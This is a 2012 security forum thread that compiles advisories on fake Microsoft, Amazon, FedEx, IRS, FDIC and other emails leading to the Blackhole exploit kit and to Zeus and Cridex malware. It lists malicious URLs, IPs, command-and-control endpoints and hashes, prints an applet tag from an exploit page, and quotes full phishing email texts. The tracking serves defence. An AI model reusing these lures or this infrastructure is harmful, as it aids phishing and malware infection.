SPAM frauds, fakes, and other MALWARE deliveries...

[AplusWebMaster]

FYI...

Fake MS email phish delivers Zeus via Java vuln ...
- https://isc.sans.edu/diary.html?storyid=14020
Last Updated: 2012-09-01 - "Thanks to Susan Bradley for reporting this to ISC.
We're receiving multiple reports of a phishing campaign using the template from a legitimate Microsoft email regarding Important Changes to Microsoft Services Agreement and Communication Preferences.
The legitimate version of this email is specific to a services agreement seen here*, per a change to Microsoft services as of 27 AUG. The evil version of this email will subject victim to a hyperlink that will send them to a Blackhole-compromised website, which will in turn deliver a fresh Zeus variant... (evil) email including the following header snippet:
Received: from [101.5.162.236] ([101.5.162.236]) by
inbound94.exchangedefender .com (8.13.8/8.13.1) with ESMTP id q7VFDPjO029166
A legitimate header snippet:
Received: from smtpi.msn .com ([65.55.52.232]) by COL0-MC3-F43.Col0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4900)
101.5.162.236 is in China, 65.55.52.232 is Microsoft. The legitimate email will include a hyperlink for http://email.microsoft.com/Key-9850301.C.DLs15.C.KK.DlNkNK , which points to the above mentioned services agreement.
(Obfuscated to protect the innocent): The phishing mail will instead include a hyperlink to the likes of allseasons****.us, radiothat****.com, and likely a plethora of others. I assessed radiothat****.com and was redirected to 209.x.y.14 which is running the very latest Blackhole evil as described on 28 AUG by Websense in this post**.
Source code review of the web page served included <applet/code="ndshesa.ndshesf"/archive="Leh.jar"><param/nam=123 name=uid value="N013:011:011:04:037:061:061:047:034:076:074:0102:076:074:
047:047:047:074:067:053:061:04:074:04:013:04:075:054:071:034:067:053:
034:034:02:065:071:034"/></applet>
The VirusTotal link for Leh.jar is here(3), and the VirusTotal link for the Zeus variant offered is here(4)...
Contemplate disabling Java(5) until the -next- update(6) is released..."

* http://windows.microsoft.com/en-US/windows-live/microsoft-services-agreement

** http://community.websense.com/blogs...ava-0-day-added-to-blackhole-exploit-kit.aspx

3) https://www.virustotal.com/file/251...d0c09b185b5ae68705c8406210148358bc9/analysis/
File name: Leh.jar
Detection ratio: 8/42
Analysis date: 2012-09-01 05:28:51 UTC

4) https://www.virustotal.com/file/98b...3dd9c5ceb5e04b9320c55645/analysis/1346461231/
File name: updateflashplayer.exe
Detection ratio: 6/42
Analysis date: 2012-09-01 01:00:31 UTC

5) http://krebsonsecurity.com/how-to-unplug-java-from-the-browser/

6) https://isc.sans.edu/diary.html?storyid=14017
___

101.5.162.236
101.5.0-255.*
inetnum: 101.5.0.0 - 101.5.255.255
netname: TSINGHUA-CN
country: CN
origin: AS4538
http://www.google.com/safebrowsing/diagnostic?site=AS:4538
... 231 site(s)... served content that resulted in malicious software being downloaded and installed without user consent. The last time Google tested a site on this network was on 2012-09-02, and the last time suspicious content was found was on 2012-09-02... We found 27 site(s)... that infected 743 other site(s).
___

- https://krebsonsecurity.com/2012/08/java-exploit-leveraged-two-flaws/
"... If you want to test whether you’ve successfully disabled Java, check out Rapid7's page, http://www.isjavaexploitable.com/ ."

:sad:

 

[AplusWebMaster]

Fake Amazon email exploits recent Java vuln ...

FYI...

Fake ‘Amazon order’ email exploits recent Java vuln ...
- http://community.websense.com/blogs...ackhole-utilizing-new-java-vulnerability.aspx
03 Sep 2012 - "... Websense... has detected a new malicious email campaign purporting to be an order verification email from Amazon directing victims to a page containing the recent Java exploit. If successful, this exploit could allow the cyber-criminals behind this campaign to deliver further malicious payloads to the victim’s machine which, for example, could lead to the exfiltration of personal and financial data. Oracle have released an out-of-band patch for this Java vulnerability (Oracle release Java 1.7.0_07 to fix CVE-2012-4681*)... On 1st September, Websense... intercepted over 10,000 malicious emails with the subject ‘You Order With Amazon.com’ enticing the recipient to ‘click here’ to verify a fictitious order as shown in this sample:
> http://community.websense.com/cfs-f...tylabs/0447.Amazon1_2D00_1.jpg_2D00_550x0.jpg
Once the victim has clicked the link, they are redirected to an obfuscated page hosting the Blackhole Exploit Kit... an analysis of this file can also be found on VirusTotal**..."

* http://community.websense.com/blogs...lease-java-1-7-0-07-to-fix-cve-2012-4681.aspx

** https://www.virustotal.com/file/251...d0c09b185b5ae68705c8406210148358bc9/analysis/
File name: 9c5abf8889c34b3a36c6699b40ef6717c95ac6e1
Detection ratio: 12/42
Analysis date: 2012-09-03

 

[AplusWebMaster]

Fake Google email contains a trojan ...

FYI...

Another round of "Spot the Exploit E-Mail"
- https://isc.sans.edu/diary.html?storyid=14029
Last Updated: 2012-09-04 - "We have come to expect quality phishing/fake email work these days...
> https://isc.sans.edu/diaryimages/amexemail1.png
> https://isc.sans.edu/diaryimages/amexemail2.png
> https://isc.sans.edu/diaryimages/amexemail3.png
... javascript will then -redirect- the user to one of these two IP addresses:
96.47.0.163, 108.178.59.26
both IP addresses yield heavily obfuscated javascript. The wepawet analysis can be found here:
- http://wepawet.iseclab.org/view.php?hash=3c550bbf81ebfcd7979f2147fb69729c&type=js
It appears to be the usual "what vulnerable plugin are you running today?" javascript."
___

Fake Google email contains a trojan ...
- http://h-online.com/-1698349
04 Sep 2012 - "Unknown attackers are attempting to persuade email recipients to open attachments that contain a trojan by claiming to be from The Google Accounts Team. A new email supposedly from "accounts-noreply @google .com" with the subject "Suspicious sign in prevented" is being sent en masse -claiming- that a hijacker has attempted to access the mail recipient's Google Account. The message says that the sign-in attempt was prevented but asks users to refer to the attached file for details of the attempted intrusion. However, instead of containing information such as the IP address of the log-in attempt, the attached zip file contains a Windows executable file that will install a trojan onto a victim's system. While Google does sometimes send emails like this to users, they -never- contain attachments; users that receive such an email are advised to delete them. According to VirusTotal*, the trojan is currently only detected by just half of 42 anti-virus programs..."
* https://www.virustotal.com/file/df0...59a517631cbd497c0ac03ccf81a256cc23a/analysis/
File name: Google_Accounts_Alert-3944-J5I-4169.zip
Detection ratio: 21/42
Analysis date: 2012-09-04 09:25:32 UTC
___

Fake ‘Wire Transfer Confirmation’ emails lead to Black Hole exploit kit ...
- http://blog.webroot.com/2012/09/04/...themed-emails-lead-to-black-hole-exploit-kit/
Sep 4, 2012 - "Over the past 24 hours, cybercriminals started spamvertising millions of emails impersonating the United Parcel Service (UPS) in an attempt to trick end and corporate users into previewing a malicious .html attachment. Upon previewing it, a tiny iFrame attempts to contact a client-side exploits serving a landing URL, courtesy of the Black Hole web malware exploitation kit.
Sample screenshot of the spamvertised email:
> https://webrootblog.files.wordpress...spam_email_malware_black_hole_exploit_kit.png
... Sample exploits served: CVE-2010-0188; CVE-2010-1885
Upon successful client-side exploitation, the campaign drops MD5: 7fe4d2e52b6f3f22b2f168e8384a757e * ..."
* https://www.virustotal.com/file/932...29d34ab69c03c6562bd39dd32c4ef43fd00/analysis/
File name: 7fe4d2e52b6f3f22b2f168e8384a757e
Detection ratio: 32/42
Analysis date: 2012-08-28
___

Fake LinkedIn spam leads to malware ...
- http://blog.dynamoo.com/2012/09/linkedin-spam-1081785926-and.html
4 Sep 2012 - "This fake LinkedIn spam leads to malware on 108.178.59.26 and myasuslaptop .com:

Date: Tue, 04 Sep 2012 10:43:03 +0100
From: "noreply" [noreply@linkedin.com]
Subject: Link LinkedIn Mail
LinkedIn
REMINDERS
Invitation reminders:
• From Charlie Alexander (Mexico Key Account Director at Quanta)
PENDING MESSAGES
• There are a total of 5 messages awaiting your response. Visit your InBox now.
Don't want to receive email notifications? Adjust your message settings.
LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. © 2012, LinkedIn Corporation.

The malicious payload (report here*)..."
* http://wepawet.iseclab.org/view.php?hash=879a57db29da2faa65185b6ce6b9c9ce&t=1346746065&type=js
Detection results
Detector Result
Jsand 2.3.4 malicious
In particular, the following URL was found to contain malicious content:
hxxp :// 108.178.59.26 /bv6rcs3v1ithi.php?w=6de4412e62fd13be
Exploits
Name Description Reference
HPC URL Help Center URL Validation Vulnerability CVE-2010-1885 ...

... My personal preference with any emails purporting to be from LinkedIn is to block them at the perimeter. As far as most businesses are concerned it is simply a playground for recruiters trying to poach your staff."

 

[AplusWebMaster]

Fake 'QuickBooks Update: Urgent’ emails lead to BlackHole exploit kit

FYI...

Fake 'QuickBooks Update: Urgent’ emails lead to Black Hole exploit kit
- http://blog.webroot.com/2012/09/05/...urgent-emails-lead-to-black-hole-exploit-kit/
Sep 5, 2012 - "... cybercriminals behind the recently profiled ‘Intuit Marketplace’ themed campaign resume impersonating Intuit, with a newly launched round consisting of millions of Intuit themed emails. The theme this time? Convincing users that in order to access QuickBooks they would have to install the non-existent Intuit Security Tool. In reality though, clicking on the links points to a Black Hole exploit kit landing URL that ultimately drops malware on the affected hosts...
Screenshot of a sample spamvertised email:
> https://webrootblog.files.wordpress...s_exploits_malware_black_hole_exploit_kit.png
... Client-side exploits serving URL: hxxp ://roadmateremove .org /main.php?page=9bb4aab85fa703f5 - 89.248.231.122; 208.91.197.27
... Name servers part of the campaign’s infrastructure:
ns1.chemrox .net – 208.91.197.27; 173.234.9.17
ns2.chemrox .net – 7.25.179.23
Upon successful client-side exploitation, the campaign drops MD5: f621be555dc94a8a370940c92317d575 * ...
* https://www.virustotal.com/file/eee...4acda2ff10c18df8e22850b881996338137/analysis/
File name: f621be555dc94a8a370940c92317d575
Detection ratio: 33/42
Analysis date: 2012-09-01
...Once executed, the sample phones back to 87.120.41.155 :8080/mx5/B /in. We’ve already seen the same command and control IP used in the following previously profiled malicious campaigns..."

 

[AplusWebMaster]

Bogus greeeting card emails serve exploits and malware

FYI...

Bogus greeeting card emails serve exploits and malware
- http://blog.webroot.com/2012/09/06/...s-greeeting-cards-serve-exploits-and-malware/
Sep 6, 2012 - "Remember the recently profiled 123greetings .com themed malicious campaign? It appears that over the past 24 hours, the cybercriminals behind it have resumed spamvertising millions of emails pointing to additional compromised URLs in a clear attempt to improve their click-through rates...
Sample screenshot of the spamvertised email:
> https://webrootblog.files.wordpress...m_exploits_malware_black_hole_exploit_kit.png
... Detection rate for a sample Java script redirection: MD5: 75e030e741875d29f12b179f2657e5fd* – ... Trojan.JS.Iframe.aby; Trojan.Webkit!html
Upon successful client-side exploitation, the campaign drops MD5: 864e1dec051cbd800ed59f6f91554597** – ... W32/Yakes.AP!tr
Once executed, the malware phones back to 216.38.12.158 :8080/mx/5/B/in... Another domain is known to have been responding to the same IP in the past..."
* https://www.virustotal.com/file/dcb...cd537fc184c005c32ff64ad2/analysis/1346492654/
File name: greetings.html
Detection ratio: 5/42
Analysis date: 2012-09-01
** https://www.virustotal.com/file/df9...5f9d7b9c2435fb99d842a6c8d7f6b0b1ffc/analysis/
File name: 97273d9507c8d78679c8cdf591715760aef0c59c
Detection ratio: 24/42
Analysis date: 2012-09-03

 

[AplusWebMaster]

$100 billion in losses to cybercrime

FYI...

$100 billion in losses to cybercrime ...
- http://h-online.com/-1701983
6 Sep 2012 - "According to Symantec's 2012 Norton Cybercrime Report*, worldwide, private individuals have suffered approximately $100 billion (more than £69 billion at the current exchange rate) in financial losses as a result of cybercrime. In the period from July 2011 to July 2012, losses averaged $197 (£124) per victim. A total of 556 million adults are reported to have fallen victim to malware, phishing or similar virtual crimes. The report claims that there are 1.5 million victims of cybercrime each day, or about 18 per second. The security specialist's report also states that two-thirds of internet users have been caught out by cybercriminals at some point in their lives, and almost half (46%) were victims during the period covered by the report... Around 40% of people don't use complex passwords or don't change their passwords regularly. There appears to be a clear trend of cybercriminals targeting social networks and mobile devices, with around 20% of users having suffered losses as a result of such attacks. The study also claims that 15% of social media accounts have been compromised and that 10% of users have fallen for fake links and scams on social networks. A total of 75% of those surveyed believe that cybercriminals are increasingly targeting social networking services. Losses within the EU are reported to amount to $16 billion (over £10 billion). China emerges as the country whose citizens have suffered the greatest financial loss – $46 billion (nearly £29 billion) – while Russia has the largest number of victims, with 92% of users surveyed in the country having experienced problems with cybercrime. The report surveyed more than 13,000 online adults aged 18-64 in 24 different countries."
* http://www.symantec.com/about/news/release/article.jsp?prid=20120905_02
Sept. 5, 2012
___

- http://yro.slashdot.org/story/12/09...numbers-lower-than-last-years-but-just-as-bad
Sep 6, 2012
> http://blogs.cio.com/security/17375...report-magically-makes-278b-damages-disappear

 

[AplusWebMaster]

Fake FedEx spam 2012.09.07 ...

FYI...

FedEx spam ...
- http://blog.dynamoo.com/2012/09/fedex-spam-dusharenet-and-gsigallerynet.html
7 Sep 2012 - "Two fake FedEx campaigns... with different payload sites of dushare .net and gsigallery .net. In the first case, the malicious payload is... (report here*) hosted on 203.91.113.6 (G Mobile, Mongolia). In the second case the payload is... (report here**) also hosted on 203.91.113.6..." (More detail at the URL above.)
* http://wepawet.iseclab.org/view.php?hash=94186e5724f1780acc5667b51eea8af3&t=1347043407&type=js
Detector Result
Jsand 2.3.4 malicious
** http://wepawet.iseclab.org/view.php?hash=77da84ca6616c3ac4b001f713801007c&t=1347038935&type=js
Detector Result
Jsand 2.3.4 malicious

- http://google.com/safebrowsing/diagnostic?site=gsigallery.net/
"Site is listed as suspicious... The last time Google visited this site was on 2012-09-07, and the last time suspicious content was found on this site was on 2012-09-07. Malicious software includes 9 trojan(s), 1 scripting exploit(s)..."
- http://google.com/safebrowsing/diagnostic?site=dushare.net/
"Site is listed as suspicious... The last time Google visited this site was on 2012-09-07, and the last time suspicious content was found on this site was on 2012-09-07. Malicious software includes 2 trojan(s), 1 scripting exploit(s)..."
___

- http://blog.dynamoo.com/2012/09/fedex-spam-studiomonahannet.html
7 Sep 2012 - "... fake FedEx spam leads to malware on studiomonahan .net... The malicious payload is... (report here*) hosted on 206.253.164.43 (Hostigation, US)...
(More detail at the URL above.)
* http://wepawet.iseclab.org/view.php?hash=7e81471e8d284c0170db0388fdb21234&t=1346947943&type=js
Detector Result
Jsand 2.3.4 malicious

 

[AplusWebMaster]

Fake BBB email phish/Spam leads to malware

FYI...

Fake BBB email phish/Spam leads to malware
- https://isc.sans.edu/diary.html?storyid=14053
Last Updated: 2012-09-09 - "We received another piece of spam... pretending to be from the Better Business Bureau. Analysis of the file transferred (W6w8sCyj.exe) from prog .it appears to be a piece of malware (Win32/Cridex.Q) use to communicates via SSL with a C&C server... List of domains/IP to watch for and block:
ajaxworkspace .com, prog .it, la-liga .ro, ejbsa .com .ar, technerds .ca, 108.178.59.12
The email looks like this:

Better Business Bureau©
Start With Trust©
Sat, 08 Sep 2012 01:54:02 +0700
RE: Case # 78321602 <hxxp [:]//prog .it/EH564Bf/index.html>
Dear Sirs,
The Better Business Bureau has got the above mentioned complaint from one of your customers concerning their business relations with you. The details of the consumer's concern are contained in attached document. Please give attention to this case and advise us of your opinion as soon as possible. We encourage you to open the COMPLAINT REPORT to answer on this complaint.
We look forward to your prompt response.
Faithfully yours,
Ann Hegley
Dispute Counselor
Better Business Bureau

[1] http://anubis.iseclab.org/?action=result&task_id=15e0c40724f468154b9b07dba8a34bfa4&format=html
[2] http://wepawet.iseclab.org/view.php?hash=b4817d858b4e1862c8a828c85be365b1&t=1347109082&type=js
[3] http://wepawet.iseclab.org/view.php?hash=06ea2fd5b8931844981d7c718ea89060&t=1347109182&type=js
[4] http://wepawet.iseclab.org/view.php?hash=7d629a7fea394ce0be5782de592d8f68&t=1347109422&type=js
[5] https://www.virustotal.com/file/126...f8518fdb54c8175ce87559a68eac47b9187/analysis/
File name: vt_20541851.@
Detection ratio: 3/42
Analysis date: 2012-09-08
[6] http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Win32/Cridex

 

[AplusWebMaster]

Fake US Airways email spam...

FYI...

Fake US Airways email spam ...
- http://blog.dynamoo.com/2012/09/us-airways-spam-blue-lotusgrovenet.html
11 Sep 2012 - "A couple of samples of a fake US Airways spam email leading to malware on blue-lotusgrove .net:

Date: Tue, 11 Sep 2012 15:32:42 -0300
From: "US Airways - Reservations" [reservations @myusairways .com]
Subject: Please confirm your US Airways online registration...

Date: Tue, 11 Sep 2012 23:29:14 +0700
From: "US Airways - Reservations" [intuitpayroll @e.payroll.intuit .com]
Subject: US Airways online check-in...

The malicious payload is at [donotclick]blue-lotusgrove .net/main.php?page=559e008e5ed98bf7 (report here*) hosted on 203.91.113.6 (G Mobile, Mongolia), the same IP used in this attack**... domains on the same server... can all be considered to be malicious...
(More detail/URL list at the dynamoo URL above.)
* http://wepawet.iseclab.org/view.php?hash=d162970369a8c12845e64d8bbb9a96f1&t=1347388149&type=js
Detector Result
Jsand 2.3.4 malicious

** http://blog.dynamoo.com/2012/09/fedex-spam-dusharenet-and-gsigallerynet.html
___

- http://security.intuit.com/alert.php?a=57
Last updated 9/13/2012

 

[AplusWebMaster]

Fake ADP emails, voice mail notifications lead to Blackhole Exploit Kit

FYI...

Fake ADP emails, voice mail notifications lead to Blackhole Exploit Kit
- http://community.websense.com/blogs...adp-emails-lead-to-blackhole-exploit-kit.aspx
13 Sep 2012 - "Since Blackhole Exploit Kit 2.0* was recently introduced, we wanted to give our readers a few examples of how they might get exposed to this threat through email. Websense... has recently intercepted a few malicious email campaigns that try to lure the victims to Web pages that host this popular exploit kit... One posed as voice mail notifications from Microsoft Exchange servers, another mimicked ADP invoice reminders, and a third thanked the recipient for signing up for a premium service of accountingWEB.com... A lot of the email messages pretend to come from trusted sources (well-known establishments, or the victim's own infrastructure), and try to catch the reader off-guard by focusing their attention on something urgent, like money matters... The malicious emails contain links that redirect to Blackhole pages with new obfuscation, but we don't think these are Blackhole 2.0. We suspect it won't be long, though, until we come across similar campaigns that use the new version. ADP is one the largest names in payroll services... Here's an example marked as high priority, with the subject line "ADP Invoice Reminder":
> http://community.websense.com/cfs-f.../securitylabs/1854.mal_5F00_ADP_5F00_blur.jpg
... one of the possible redirection paths:
hxxp ://allbarswireless .com/HXwcDdQ/index.html
hxxp ://ash-polynesie .com/AjVSXvus/js.js
hxxp ://108.60.141.7 /tfvsfios6kebvras .php?r=dwtd6xxjpq8tkatb
hxxp ://108.60.141.7 /links/ differently-trace.php ...
Here's a different lure - emails pretending to come from the victim's Exchange server, telling them that they have new voice mail. The text invites the reader to click the link: "Double click on the link to listen the message." Subject lines include "Voice Mail from NNN-NNN-NNNN (NN seconds)":
>
http://community.websense.com/cfs-f...s/8015.ma_5F00_voice_5F00_mail_5F00_blur1.jpg
... redirection chain here is similar:
hxxp ://www.tryakbar .com/tLbM3r/index.html
hxxp ://sportmania .so/JP3q2538/js.js
hxxp ://173.255.221.74 /tfvsfios6kebvras .php?r=rs3mwhukafbiamcm ...
Another scheme thanks the user for signing up for a premium service. Subject lines include "Thank you for activating paid services":
> http://community.websense.com/cfs-f...abs/6431.mal_5F00_accountingweb_5F00_blur.jpg
Different redirection chain, but the landing page hosts Blackhole, with a very familiar path:
hxxp ://www.svstk. ru/templates/beez/check.php
hxxp ://bode-sales .net/main.php?page=3c23940fb7350489
And finally, the familiar theme of FDIC notifications claiming your wire transfer ability was suspended. Subject lines include "You need a new security version," "Suspended transactions," and "Urgent! You must install a new security version!"
> http://community.websense.com/cfs-f...securitylabs/6215.mal_5F00_FDIC_5F00_blur.jpg
Here again, simple redirection leads to typical "/main.php?page=" type URLs.
hxxp ://kahvikuppi .org/achsec.html
hxxp ://afgreenwich .net/main.php?page=0f123fe645ddf8d7
Note that as part of the update to Blackhole 2.0, we are much more likely to see URLs like those used in the first two examples, rather than the latter two, due to the dynamic URL generation capability."
* http://community.websense.com/blogs.../13/blackhole-exploit-kit-updates-to-2-0.aspx

- https://isc.sans.edu/diary.html?storyid=14098
2012-09-14

ADP spam ...
- http://blog.dynamoo.com/2012/09/adp-spam-4624937122.html
13 Sep 2012 - "... fake ADP spam tries to load malware from 46.249.37.122... After clicking the link bouncing through a couple of redirectors, the victim ends up at [donotclick]46.249.37.122 /links/systems-links_warns.php which appears to be generating a 404 error (although it could be fake). This could be a legitimate but hacked server as it is also the IP address for a proxy service called dutchprox.com. In any case, you might decide you want to block the IP just in case."

- http://www.bbb.org/blog/wp-content/uploads/2012/09/scamalert1.jpg
Sep 12, 2012
___

- http://blog.commtouch.com/cafe/data-and-research/measuring-the-success-of-a-malware-campaign-2/
Sep 13, 2012

:fear:

 

[AplusWebMaster]

Fake Fedex email invoice lead to BlackHole Exploit kit

FYI...

Fake Fedex email invoice lead to BlackHole Exploit kit
- http://blog.webroot.com/2012/09/14/...themed-emails-lead-to-black-hole-exploit-kit/
Sep 14, 2012 - "... cybercriminals have launched yet another massive spam run, this time impersonating FedEx in an attempt to trick its customers into clicking on a malware and exploits-serving URL found in the malicious email...
Screenshot of the spamvertised email:
> https://webrootblog.files.wordpress...l_malware_exploits_black_hole_exploit_kit.png
... Sample client-side exploits serving URLs: hxxp ://studiomonahan .net/main.php?page=2bfd5695763b6536 (200.42.159.6, AS10481; 206.253.164.43, AS6921); hxxp ://gsigallery .net/main.php?page=2bfd5695763b6536 (208.91.197.54, AS40034)
Sample client-side exploits served: CVE-2010-1885
Detection rate for a sample Java script redirector: MD5: 32a74240c7e1a34a2a8ed8749758ef15* ...
JS/Iframe.FR; Trojan-Downloader.JS.Iframe.dbe; JS/Exploit-Blacole.hd
Upon successful client-side exploitation, the campaign drops MD5: f9904f305de002ad5c0ad4b4648d0ca7** ... Trojan.Win32.Obfuscated.aopm; Worm:Win32/Cridex.E
... and MD5: 0e2c968865d34c8570bb69aa6156b915*** Worm.Win32.Cridex.jb
The first sample phones back to 195.111.72.46 :8080/mx/5/B/in/ (AS1955) and to 87.120.41.155 :8080/mx/5/B/in (AS13147), and the second sample initiates DNS queries to droppinlever .pro; lambolp700tuning .ru and it also produces TCP traffic to 146.185.220.32 on port 443, as well as to 192.5.5.241 again on port 443.
... We’ve already seen numerous malicious campaigns phoning back one of these command and control servers, 87.120.41.155 :8080/mx/5/B/in in particular..."
* https://www.virustotal.com/file/ae6...f12502f32d275c7cf2f32cb0/analysis/1347545788/
File name: Fedex.html
Detection ratio: 8/41
Analysis date: 2012-09-13
** https://www.virustotal.com/file/b41...f672811d0bba2609050fd46dff2f5229ba0/analysis/
File name: f9904f305de002ad5c0ad4b4648d0ca7.malware
Detection ratio: 30/42
Analysis date: 2012-09-13
*** https://www.virustotal.com/file/cb6...7cce66d278e0f3b984c150ec51e8c9a4a47/analysis/
File name: a36fc381c480e4e7ee09c89d950195c2
Detection ratio: 24/42
Analysis date: 2012-09-11

:fear:

 

[AplusWebMaster]

Multiple fake emails/SPAM lead to malware...

FYI...

Multiple fake emails/SPAM lead to malware...

"Photos" Spam...
- http://blog.dynamoo.com/2012/09/photos-spam-diareuomopru.html
18 Sept 2012 14:43 - "This spam leads to malware ondiareuomop .ru:
From: Carleen Garrett
Sent: Tuesday, September 18, 2012 3:17:33 PM
Subject: Photos
Hi,
as promised your photos - hxxp ://flyershot .com/gallery.htm
The payload is at [donotclick]diareuomop.ru:8080/forum/links/column.php hosted on the following IPs: 50.56.92.47, 203.80.16.81, 46.51.218.71
These IPs are a subset of the ones found here*. Block 'em if you can."

Fake Intuit email/Spam...
* http://blog.dynamoo.com/2012/09/intuitcom-spam-kerneloffceru.html
17 Sept 2012 22:41 - "This fake Intuit.com spam attempts to load malware from kerneloffce .ru:
Date: Mon, 17 Sep 2012 08:54:50 -0600
From: "Mason Jordan" [LillieRoell@digitalnubia.com]
Subject: Your Intuit.com software order.
Attachments: Intuit_Order_A49436.htm
Dear customer: Thank you for ordering from Intuit Market. We are processing and will message you when your order ships. If you ordered multiple items, we may sned them in more than one delivery (at no extra cost to you) to ensure quicker delivery. If you have questions about your order please call 1-900-130-1601 ($4.79/min).
ORDER INFORMATION
Please download your complete order id #1197744 from the attachment.(Open with Internet Explorer)
2012 Intuit, Inc. All rights reserved. Intuit, the Intuit Logo, Quickbooks, Quicken and TurboTax, among others, are registered trademarks of Intuit Inc.
The malicious payload is at kerneloffce .ru:8080/forum/links/column.php which was hosted on 46.51.218.71 (Amazon, Ireland) until it got nuked..."
> http://google.com/safebrowsing/diagnostic?site=kerneloffce.ru/
"Site is listed as suspicious - visiting this web site may harm your computer... the last time suspicious content was found on this site was on 2012-09-17. Malicious software includes 1 trojan(s)... this site has hosted malicious software over the past 90 days. It infected 4 domain(s)..."

Fake IRS email/Spam...
- http://blog.dynamoo.com/2012/09/irs-spam-virtual-geocachingnet.html
17 Sept 2012 22:30 - "This spam leads to malware on virtual-geocaching .net:
Date: Mon, 17 Sep 2012 11:28:14 -0600
From: Internal Revenue Service [tangierss4 @porterorlin .com]
Subject: IRS report of not approved tax transfer
Your State Tax transfer (ID: 30062091798009), recently sent from your checking account was returned by Internal Revenue Service payment processing unit.
Not Accepted Tax transaction
Tax Transaction ID: 30062091798009
Reason of rejection See details in the report below
Federal Tax Transaction Report tax_report_30062091798009.doc (Microsoft Word Document)
Internal Revenue Service 3192 Aliquam Rd. Davis 71320 VA
The malicious payload is at [donotclick]virtual-geocaching .net/main.php?page=7de3f5c4200c896e (report here) on 203.91.113.6 (G Mobile, Mongolia) as used in this recent attack and several others..."
> http://google.com/safebrowsing/diagnostic?site=virtual-geocaching.net/
"Site is listed as suspicious - visiting this web site may harm your computer... the last time suspicious content was found on this site was on 2012-09-17. Malicious software includes 57 trojan(s), 8 exploit(s), 3 scripting exploit(s)..."

Fake IRS email/Spam...
- http://blog.dynamoo.com/2012/09/irs-spam-thebummwrapnet.html
17 Sept 2012 16:06 - "This fake IRS spam leads to malware on thebummwrap .net:
From: Internal Revenue Service [mailto:fascinatesh07 @deltamar .net]
Sent: 17 September 2012 15:30
Subject: Your federal tax transaction has been not accepted
Your State Tax transaction (ID: 60498447771657), recently initiated from your bank account was canceled by The Electronic Federal Tax Payment System.
Not Accepted Tax transaction
Tax Transaction ID: 60498447771657
Rejection code See details in the report below
Income Tax Transaction Report tax_report_60498447771657.doc (Microsoft Word Document)
Internal Revenue Service Ap #822-9450 Cum Avenue Edmond 33020 MI
The malicious payload is at [donotclick]thebummwrap .net/main.php?page=7de3f5c4200c896e hosted on 203.91.113.6 (G Mobile Mongolia) which has been used several times recently for evil purposes..."
___

- http://tools.cisco.com/security/center/threatOutbreak.x?i=77
Last Updated September 18, 2012

 

[AplusWebMaster]

Fake US Airways emails serve exploits and malware

FYI...

Fake US Airways emails serve exploits and malware ...
- http://blog.webroot.com/2012/09/18/...ion-themed-emails-serve-exploits-and-malware/
Sep 18, 2012 - "Cybercriminals are currently spamvertising millions of emails impersonating U.S Airways, in an attempt to trick users into clicking on the malicious links found in the legitimately looking emails...
Sample screenshot of the spamvertised US Airways themed email:
> https://webrootblog.files.wordpress...il_malware_exploits_black_hole_explot_kit.png
Sample client-side exploits served: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-1885 - 9.3 (HIGH)
Responding to the same IP 203.91.113.6 (AS24559) ...
Detection rate for a sample Java script redirection: MD5: 5c5a3c6e91c1c948c735e90009886e37 *
... Mal/Iframe-W
Upon successful client-side exploitation, the campaign drops MD5: 9069210d0758b34d8ef8679f712b48aa **
... Trojan.Winlock.6049; W32/Cridex.R
Upon execution, the sample phones back to 199.71.213.194 :8080/mx/5/B/in/ (AS40676).
More MD5s are known to have phoned back to the same IP..."
* https://www.virustotal.com/file/08c...36457a51161d192cc91cfd6d/analysis/1347403787/
File name: Airways.html
Detection ratio: 3/42
Analysis date: 2012-09-11
** https://www.virustotal.com/file/c6c...b218aa6edb936c4ac15b9367669c354b59a/analysis/
File name: readme.exe
Detection ratio: 6/42
Analysis date: 2012-09-14

 

[AplusWebMaster]

Malicious UPS/FedEx emails re: iPhone 5 orders

FYI...

Malicious UPS/FedEx emails re: iPhone 5 orders ...
- http://community.websense.com/blogs...-notifications-when-waiting-for-iphone-5.aspx
18 Sep 2012 - "The first batch of iPhone 5s will be delivered on Friday of this week... From reading discussion forums online... all orders from Apple's online store will ship with UPS... when I received a UPS notification email today, I obviously expected it to be about my iPhone. Turns out, it wasn't.
> http://community.websense.com/cfs-f...itylabs/3288.ups_5F00_notification_5F00_1.png
... the email contained an attached HTML page that, when loaded, displayed the page below:
> http://community.websense.com/cfs-f...s/3704.ups_5F00_notification_5F00_browser.png
... the risk is great that recipients will have their guards down and will run the attached file... There's a hidden, obfuscated script on the page... it loads an iframe from a .RU domain, which is a Blackhole Exploit Kit site that pushes a banking trojan to the PC... the phrase used for the .RU domain name translates to "money on account". Banking trojan, money on account... be extra careful if you're waiting for a delivery notification, and don't run any attachments contained in those types of emails."
___

(More) Fake UPS e-mail messages ...
> http://tools.cisco.com/security/center/viewThreatOutbreakAlert.x?alertId=25171
Sep 19, 2012

 

[AplusWebMaster]

Fake FDIC emails serve client-side exploits and malware

FYI...

Fake FDIC emails serve client-side exploits and malware
- http://blog.webroot.com/2012/09/19/...-fdic-serve-client-side-exploits-and-malware/
Sep 19, 2012 - "... cybercriminals started spamvertising millions of emails impersonating the Federal Deposit Insurance Corporation (FDIC), in an attempt to trick businesses into installing a bogus and non-existent security tool promoted in the emails. Upon clicking on the links, users are exposed to the client-side exploits served by the Black Hole Exploit Kit...
Sample screenshot of the spamvertised FDIC impersonating email:
> https://webrootblog.files.wordpress...l_malware_exploits_black_hole_exploit_kit.png
Once the user clicks on the malicious link, he’s exposed to the following bogus “Page loading…” page:
> https://webrootblog.files.wordpress...alware_exploits_black_hole_exploit_kit_01.png
Client-side exploits serving URL: hxxp ://afgreenwich .net/main.php?page=0f123fe645ddf8d7 - 203.91.113.6 (AS24559)...
Upon successful client-side exploitation, the campaign drops MD5: 3ce1ae2605aa800c205ef63a45ffdbfa *
... Trojan-Ransom.Win32.Gimemo.aovu; W32.Cridex
Once executed, it attempts to phone back to 72.167.253.106 :8080/mx/5/B/in (AS26496)...
More MD5s are known to have phoned back to the same IP in the past, for instance:
MD5: 97974153c25baf5826bf441a8ab187a6 **
...Trojan.Win32.Jorik.Zbot.fxq; Gen:Variant.Zusy.17989
... and MD5: 9069210d0758b34d8ef8679f712b48aa ***
... Trojan.Winlock.6049; W32/Cridex.R ..."
